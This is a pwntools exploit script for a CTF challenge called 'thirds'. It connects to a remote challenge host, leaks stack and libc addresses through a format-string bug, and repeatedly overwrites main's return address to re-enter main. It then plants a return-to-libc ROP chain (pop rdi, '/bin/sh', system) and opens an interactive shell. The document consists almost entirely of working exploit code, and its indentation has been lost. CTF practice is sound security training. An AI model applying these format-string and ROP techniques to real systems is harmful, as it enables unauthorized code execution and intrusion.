requires pwntools
from pwn import *
# handout = "/mnt/w/ctf/gaslightctf2026/thirds/handout"
# io = process([f"{handout}/ld-linux-x86-64.so.2", "--library-path", handout, f"{handout}/thirds"], cwd=handout, stdin=PTY, stdout=PTY, stderr=PTY)
HOST = "e2b31333-949b-4d06-960c-604a5de3c07c.play.gaslightctf.cooking"
io = remote(HOST, 31337, ssl=True)
# read both the caller frame ptr AND main's return addr
io.recvuntil(b"1> ")
io.sendline(b"%14$p|%15$p")
caller, ret_addr = map(lambda x: int(x, 16), io.recvline().split(b"|"))
io.recvuntil(b"2> ")
# very last byte of main's return addr
ret_slot = caller - 0x98
libc_base = ret_addr - 0x2b285 # main's normal return addr
format = lambda count, position: f"%{count & 0xffff}c%{position}$hn".encode()
reentry = b"%130c%53$hhn" # 130 is 0x82, overwriting libc+0x2b285 to libc+0x2b282 *to call main again*
# write the return
io.sendline(format(ret_slot, 39))
io.recvuntil(b"3> ")
# reenter main
io.sendline(reentry)
io.recvuntil(b"1> ")
def write(address, value):
for part in range(3):
# redirect the stack cursor
io.sendline(format(address + 2 * part, 14))
io.recvuntil(b"2> ")
# write through it
io.sendline(format(value >> 16 * part, 34))
io.recvuntil(b"3> ")
# reenter main
io.sendline(reentry)
io.recvuntil(b"1> ")
# points to `pop rdi; ret``
write(ret_slot + 8, libc_base + 0xfc08d)
# point to libc mention of "/bin/sh"
write(ret_slot + 16, libc_base + 0x1c3ed9)
# point to libc mention of "system"
write(ret_slot + 24, libc_base + 0x58860)
# target back to a `ret`
write(caller + 0x10, ret_slot + 4)
# write our return back in again
io.sendline(format(ret_slot + 2, 14))
io.recvuntil(b"2> ")
io.sendline(b"A") # doesn't matter
io.recvuntil(b"3> ")
# reenter main again
io.sendline(reentry)
io.recvuntil(b"1> ")
# libc+0x2930b points to a `ret`
io.sendline(format(libc_base + 0x2930b, 53))
io.recvuntil(b"2> ")
io.sendline(format((libc_base + 0x2930b) >> 16, 34))
io.recvuntil(b"3> ")
io.sendline(format((libc_base + 0x2930b) >> 32, 36))
# should have launched
io.interactive()